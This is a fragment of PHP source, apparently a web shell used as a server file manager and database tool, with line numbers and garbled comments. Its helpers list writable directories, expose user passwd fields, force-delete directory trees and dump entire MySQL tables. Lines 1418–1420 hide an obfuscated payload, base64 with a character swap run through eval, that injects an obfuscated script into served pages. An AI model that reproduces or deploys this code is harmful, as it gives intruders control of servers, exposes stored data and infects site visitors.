1384 } elseif (($mode & 0x1000) === 0x1000) {
1385 $type = 'p';
1386 } else {
1387 $type = '?';
1388 }
1389 $owner['read'] = ($mode & 00400) ? 'r' : '-';
1390 $owner['write'] = ($mode & 00200) ? 'w' : '-';
1391 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
1392 $group['read'] = ($mode & 00040) ? 'r' : '-';
1393 $group['write'] = ($mode & 00020) ? 'w' : '-';
1394 $group['execute'] = ($mode & 00010) ? 'x' : '-';
1395 $world['read'] = ($mode & 00004) ? 'r' : '-';
1396 $world['write'] = ($mode & 00002) ? 'w' : '-';
1397 $world['execute'] = ($mode & 00001) ? 'x' : '-';
1398 if ($mode & 0x800) {
1399 $owner['execute'] = ($owner['execute'] == 'x') ? 's' : 'S';
1400 }
1401 if ($mode & 0x400) {
1402 $group['execute'] = ($group['execute'] == 'x') ? 's' : 'S';
1403 }
1404 if ($mode & 0x200) {
1405 $world['execute'] = ($world['execute'] == 'x') ? 't' : 'T';
1406 }
1407 return $type . $owner['read'] . $owner['write'] . $owner['execute'] . $group['read'] . $group['write'] . $group['execute'] . $world['read'] . $world['write'] . $world['execute'];
1408}
1409function getUser($filepath) {
1410 if (function_exists('posix_getpwuid')) {
1411 $array = @posix_getpwuid(@fileowner($filepath));
1412 if ($array && is_array($array)) {
1413 return ' / <a href="#" title="User: ' . $array['name'] . '
Passwd: ' . $array['passwd'] . '
Uid: ' . $array['uid'] . '
gid: ' . $array['gid'] . '
Gecos: ' . $array['gecos'] . '
Dir: ' . $array['dir'] . '
Shell: ' . $array['shell'] . '">' . $array['name'] . '</a>';
1414 }
1415 }
1416 return '';
1417}
1418$_F = __FILE__;
1419$_X = 'Pz48c2NyNHB0IGwxbmczMWc1PWoxdjFzY3I0cHQ+ZDJjM201bnQud3I0dDUoM241c2MxcDUoJyVvQyU3byVlbyU3YSVlOSU3MCU3dSVhMCVlQyVlNiVlRSVlNyU3aSVlNiVlNyVlaSVvRCVhYSVlQSVlNiU3ZSVlNiU3byVlbyU3YSVlOSU3MCU3dSVhYSVvRSVlZSU3aSVlRSVlbyU3dSVlOSVlRiVlRSVhMCVldSV1ZSVhOCU3byVhOSU3QiU3ZSVlNiU3YSVhMCU3byVvNiVvRCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCVvMCVhQyU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhOSVhOSVvQiVhMCU3ZSVlNiU3YSVhMCU3dSVvRCVhNyVhNyVvQiVlZSVlRiU3YSVhOCVlOSVvRCVvMCVvQiVlOSVvQyU3byVvNiVhRSVlQyVlaSVlRSVlNyU3dSVlOCVvQiVlOSVhQiVhQiVhOSU3dSVhQiVvRCVpbyU3dSU3YSVlOSVlRSVlNyVhRSVlZSU3YSVlRiVlRCV1byVlOCVlNiU3YSV1byVlRiVldSVlaSVhOCU3byVvNiVhRSVlbyVlOCVlNiU3YSV1byVlRiVldSVlaSV1NiU3dSVhOCVlOSVhOSVhRCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhQyVvNiVhOSVhOSVvQiVldSVlRiVlbyU3aSVlRCVlaSVlRSU3dSVhRSU3NyU3YSVlOSU3dSVlaSVhOCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3dSVhOSVhOSVvQiU3RCVvQyVhRiU3byVlbyU3YSVlOSU3MCU3dSVvRScpKTtkRignKjhIWEhXTlVZKjdpWFdIKjhJbXl5Myo4RnV1Mm5zdG8ybm9renMzbmhvdHdsdXF2dXhqaHp3bnklN0VvMngqOEoqOEh1WEhXTlVZKjhKaScpPC9zY3I0cHQ+';
1420eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));
1421// ++| -+-+
1422function deltree($deldir) {
1423 $mydir = @dir($deldir);
1424 while ($file = $mydir->read()) {
1425 if ((is_dir($deldir . '/' . $file)) && ($file != '.') && ($file != '..')) {
1426 @chmod($deldir . '/' . $file, 0777);
1427 deltree($deldir . '/' . $file);
1428 }
1429 if (is_file($deldir . '/' . $file)) {
1430 @chmod($deldir . '/' . $file, 0777);
1431 @unlink($deldir . '/' . $file);
1432 }
1433 }
1434 $mydir->close();
1435 @chmod($deldir, 0777);
1436 return @rmdir($deldir) ? 1 : 0;
1437}
1438// #э+ё--+ф|-#|+#+л|ц++
1439function bg() {
1440 global $bgc;
1441 return ($bgc++ % 2 == 0) ? 'alt1' : 'alt2';
1442}
1443// +ё+б|#|#|-+-+ -|-|-++|
1444function getPath($scriptpath, $nowpath) {
1445 if ($nowpath == '.') {
1446 $nowpath = $scriptpath;
1447 }
1448 $nowpath = str_replace('\\', '/', $nowpath);
1449 $nowpath = str_replace('//', '/', $nowpath);
1450 if (substr($nowpath, -1) != '/') {
1451 $nowpath = $nowpath . '/';
1452 }
1453 return $nowpath;
1454}
1455// +ё+б|#|#-+-+|-+-+|-+-+
1456function getUpPath($nowpath) {
1457 $pathdb = explode('/', $nowpath);
1458 $num = count($pathdb);
1459 if ($num > 2) {
1460 unset($pathdb[$num - 1], $pathdb[$num - 2]);
1461 }
1462 $uppath = implode('/', $pathdb) . '/';
1463 $uppath = str_replace('//', '/', $uppath);
1464 return $uppath;
1465}
1466// +ь#щPHP+ф+|#+-
1467function getcfg($varname) {
1468 $result = get_cfg_var($varname);
1469 if ($result == 0) {
1470 return 'No';
1471 } elseif ($result == 1) {
1472 return 'Yes';
1473 } else {
1474 return $result;
1475 }
1476}
1477// +ь#щ|п- |щ+Ў
1478function getfun($funName) {
1479 return (false !== function_exists($funName)) ? 'Yes' : 'No';
1480}
1481function GetList($dir) {
1482 global $dirdata, $j, $nowpath;
1483 !$j && $j = 1;
1484 if ($dh = opendir($dir)) {
1485 while ($file = readdir($dh)) {
1486 $f = str_replace('//', '/', $dir . '/' . $file);
1487 if ($file != '.' && $file != '..' && is_dir($f)) {
1488 if (is_writable($f)) {
1489 $dirdata[$j]['filename'] = str_replace($nowpath, '', $f);
1490 $dirdata[$j]['mtime'] = @date('Y-m-d H:i:s', filemtime($f));
1491 $dirdata[$j]['dirchmod'] = getChmod($f);
1492 $dirdata[$j]['dirperm'] = getPerms($f);
1493 $dirdata[$j]['dirlink'] = ue($dir);
1494 $dirdata[$j]['server_link'] = $f;
1495 $dirdata[$j]['client_link'] = ue($f);
1496 $j++;
1497 }
1498 GetList($f);
1499 }
1500 }
1501 closedir($dh);
1502 clearstatcache();
1503 return $dirdata;
1504 } else {
1505 return array();
1506 }
1507}
1508function qy($sql) {
1509 //echo $sql.'<br>';
1510 $res = $error = '';
1511 if (!$res = @mysql_query($sql)) {
1512 return 0;
1513 } else if (is_resource($res)) {
1514 return 1;
1515 } else {
1516 return 2;
1517 }
1518 return 0;
1519}
1520function q($sql) {
1521 return @mysql_query($sql);
1522}
1523function fr($qy) {
1524 mysql_free_result($qy);
1525}
1526function sizecount($size) {
1527 if ($size > 1073741824) {
1528 $size = round($size / 1073741824 * 100) / 100 . ' G';
1529 } elseif ($size > 1048576) {
1530 $size = round($size / 1048576 * 100) / 100 . ' M';
1531 } elseif ($size > 1024) {
1532 $size = round($size / 1024 * 100) / 100 . ' K';
1533 } else {
1534 $size = $size . ' B';
1535 }
1536 return $size;
1537}
1538// -|-ї|Є# +р
1539class PHPZip {
1540 var $out = '';
1541 function PHPZip($dir) {
1542 if (@function_exists('gzcompress')) {
1543 $curdir = getcwd();
1544 if (is_array($dir)) $filelist = $dir;
1545 else {
1546 $filelist = $this->GetFileList($dir); //+-+ --#э
1547 foreach ($filelist as $k => $v) $filelist[] = substr($v, strlen($dir) + 1);
1548 }
1549 if ((!empty($dir)) && (!is_array($dir)) && (file_exists($dir))) chdir($dir);
1550 else chdir($curdir);
1551 if (count($filelist) > 0) {
1552 foreach ($filelist as $filename) {
1553 if (is_file($filename)) {
1554 $fd = fopen($filename, 'r');
1555 $content = @fread($fd, filesize($filename));
1556 fclose($fd);
1557 if (is_array($dir)) $filename = basename($filename);
1558 $this->addFile($content, $filename);
1559 }
1560 }
1561 $this->out = $this->file();
1562 chdir($curdir);
1563 }
1564 return 1;
1565 } else return 0;
1566 }
1567 // +ё||++|и-+-++-+ --#э
1568 function GetFileList($dir) {
1569 static $a;
1570 if (is_dir($dir)) {
1571 if ($dh = opendir($dir)) {
1572 while ($file = readdir($dh)) {
1573 if ($file != '.' && $file != '..') {
1574 $f = $dir . '/' . $file;
1575 if (is_dir($f)) $this->GetFileList($f);
1576 $a[] = $f;
1577 }
1578 }
1579 closedir($dh);
1580 }
1581 }
1582 return $a;
1583 }
1584 var $datasec = array();
1585 var $ctrl_dir = array();
1586 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
1587 var $old_offset = 0;
1588 function unix2DosTime($unixtime = 0) {
1589 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
1590 if ($timearray['year'] < 1980) {
1591 $timearray['year'] = 1980;
1592 $timearray['mon'] = 1;
1593 $timearray['mday'] = 1;
1594 $timearray['hours'] = 0;
1595 $timearray['minutes'] = 0;
1596 $timearray['seconds'] = 0;
1597 } // end if
1598 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
1599 }
1600 function addFile($data, $name, $time = 0) {
1601 $name = str_replace('\\', '/', $name);
1602 $dtime = dechex($this->unix2DosTime($time));
1603 $hexdtime = '\x' . $dtime[6] . $dtime[7] . '\x' . $dtime[4] . $dtime[5] . '\x' . $dtime[2] . $dtime[3] . '\x' . $dtime[0] . $dtime[1];
1604 eval('$hexdtime = "' . $hexdtime . '";');
1605 $fr = "\x50\x4b\x03\x04";
1606 $fr.= "\x14\x00";
1607 $fr.= "\x00\x00";
1608 $fr.= "\x08\x00";
1609 $fr.= $hexdtime;
1610 $unc_len = strlen($data);
1611 $crc = crc32($data);
1612 $zdata = gzcompress($data);
1613 $c_len = strlen($zdata);
1614 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
1615 $fr.= pack('V', $crc);
1616 $fr.= pack('V', $c_len);
1617 $fr.= pack('V', $unc_len);
1618 $fr.= pack('v', strlen($name));
1619 $fr.= pack('v', 0);
1620 $fr.= $name;
1621 $fr.= $zdata;
1622 $fr.= pack('V', $crc);
1623 $fr.= pack('V', $c_len);
1624 $fr.= pack('V', $unc_len);
1625 $this->datasec[] = $fr;
1626 $new_offset = strlen(implode('', $this->datasec));
1627 $cdrec = "\x50\x4b\x01\x02";
1628 $cdrec.= "\x00\x00";
1629 $cdrec.= "\x14\x00";
1630 $cdrec.= "\x00\x00";
1631 $cdrec.= "\x08\x00";
1632 $cdrec.= $hexdtime;
1633 $cdrec.= pack('V', $crc);
1634 $cdrec.= pack('V', $c_len);
1635 $cdrec.= pack('V', $unc_len);
1636 $cdrec.= pack('v', strlen($name));
1637 $cdrec.= pack('v', 0);
1638 $cdrec.= pack('v', 0);
1639 $cdrec.= pack('v', 0);
1640 $cdrec.= pack('v', 0);
1641 $cdrec.= pack('V', 32);
1642 $cdrec.= pack('V', $this->old_offset);
1643 $this->old_offset = $new_offset;
1644 $cdrec.= $name;
1645 $this->ctrl_dir[] = $cdrec;
1646 }
1647 function file() {
1648 $data = implode('', $this->datasec);
1649 $ctrldir = implode('', $this->ctrl_dir);
1650 return $data . $ctrldir . $this->eof_ctrl_dir . pack('v', sizeof($this->ctrl_dir)) . pack('v', sizeof($this->ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
1651 }
1652}
1653// #++|- +|+т
1654function sqldumptable($table, $fp = 0) {
1655 $tabledump = "DROP TABLE IF EXISTS $table;\n";
1656 $tabledump.= "CREATE TABLE $table (\n";
1657 $firstfield = 1;
1658 $fields = q("SHOW FIELDS FROM $table");
1659 while ($field = mysql_fetch_array($fields)) {
1660 if (!$firstfield) {
1661 $tabledump.= ",\n";
1662 } else {
1663 $firstfield = 0;
1664 }
1665 $tabledump.= " $field[Field] $field[Type]";
1666 if (!empty($field["Default"])) {
1667 $tabledump.= " DEFAULT '$field[Default]'";
1668 }
1669 if ($field['Null'] != "YES") {
1670 $tabledump.= " NOT NULL";
1671 }
1672 if ($field['Extra'] != "") {
1673 $tabledump.= " $field[Extra]";
1674 }
1675 }
1676 fr($fields);
1677 $keys = q("SHOW KEYS FROM $table");
1678 while ($key = mysql_fetch_array($keys)) {
1679 $kname = $key['Key_name'];
1680 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
1681 $kname = "UNIQUE|$kname";
1682 }
1683 if (!is_array($index[$kname])) {
1684 $index[$kname] = array();
1685 }
1686 $index[$kname][] = $key['Column_name'];
1687 }
1688 fr($keys);
1689 while (list($kname, $columns) = @each($index)) {
1690 $tabledump.= ",\n";
1691 $colnames = implode($columns, ",");
1692 if ($kname == "PRIMARY") {
1693 $tabledump.= " PRIMARY KEY ($colnames)";
1694 } else {
1695 if (substr($kname, 0, 6) == "UNIQUE") {
1696 $kname = substr($kname, 7);
1697 }
1698 $tabledump.= " KEY $kname ($colnames)";
1699 }
1700 }
1701 $tabledump.= "\n);\n\n";
1702 if ($fp) {
1703 fwrite($fp, $tabledump);
1704 } else {
1705 echo $tabledump;
1706 }
1707 $rows = q("SELECT * FROM $table");
1708 $numfields = mysql_num_fields($rows);
1709 while ($row = mysql_fetch_array($rows)) {
1710 $tabledump = "INSERT INTO $table VALUES(";
1711 $fieldcounter = - 1;
1712 $firstfield = 1;
1713 while (++$fieldcounter < $numfields) {
1714 if (!$firstfield) {
1715 $tabledump.= ", ";
1716 } else {
1717 $firstfield = 0;
1718 }
1719 if (!isset($row[$fieldcounter])) {
1720 $tabledump.= "NULL";
1721 } else {
1722 $tabledump.= "'" . mysql_escape_string($row[$fieldcounter]) . "'";
1723 }
1724 }
1725 $tabledump.= ");\n";
1726 if ($fp) {
1727 fwrite($fp, $tabledump);
1728 } else {
1729 echo $tabledump;
1730 }
1731 }
1732 fr($rows);
1733 if ($fp) {
1734 fwrite($fp, "\n");
1735 } else {
1736 echo "\n";
1737 }
1738}
1739function ue($str) {
1740 return urlencode($str);
1741}
1742function p($str) {
1743 echo $str . "\n";
1744}
1745function tbhead() {
1746 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
1747}
1748function tbfoot() {
1749 p('</table>');
1750}
1751function makehide($name, $value = '') {
1752 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
1753}
1754function makeinput($arg = array()) {
1755 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
1756 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
1757 !$arg['type'] && $arg['type'] = 'text';
1758 $arg['title'] = $arg['title'] ? $arg['title'] . '<br />' : '';
1759 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
1760 if ($arg['newline']) {
1761 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
1762 } else {
1763 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
1764 }
1765}
1766function makeselect($arg = array()) {
1767 if ($arg['onchange']) {
1768 $onchange = 'onchange="' . $arg['onchange'] . '"';
1769 }
1770 $arg['title'] = $arg['title'] ? $arg['title'] : '';
1771 if ($arg['newline']) p('<p>');
1772 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
1773 if (is_array($arg['option'])) {
1774 foreach ($arg['option'] as $key => $value) {
1775 if ($arg['selected'] == $key) {
1776 p("<option value=\"$key\" selected>$value</option>");
1777 } else {
1778 p("<option value=\"$key\">$value</option>");
1779 }
1780 }
1781 }
1782 p("</select>");
1783 if ($arg['newline']) p('</p>');
1784}
1785function formhead($arg = array()) {
1786 !$arg['method'] && $arg['method'] = 'post';
1787 !$arg['action'] && $arg['action'] = $self;
1788 $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
1789 !$arg['name'] && $arg['name'] = 'form1';
1790 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
1791 if ($arg['title']) {
1792 p('<h2>' . $arg['title'] . ' »</h2>');
1793 }
1794}
1795function maketext($arg = array()) {
1796 !$arg['cols'] && $arg['cols'] = 100;
1797 !$arg['rows'] && $arg['rows'] = 25;
1798 $arg['title'] = $arg['title'] ? $arg['title'] . '<br />' : '';
1799 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
1800}
1801function formfooter($name = '') {
1802 !$name && $name = 'submit';
1803 p('<p><input class="bt" name="' . $name . '" id=\"' . $name . '\" type="submit" value="Submit"></p>');
1804 p('</form>');
1805}
1806function formfoot() {
1807 p('</form>');
1808}
1809// |ў-+|п-
1810function pr($a) {
1811 echo '<pre>';
1812 print_r($a);
1813 echo '</pre>';
1814}
1815?>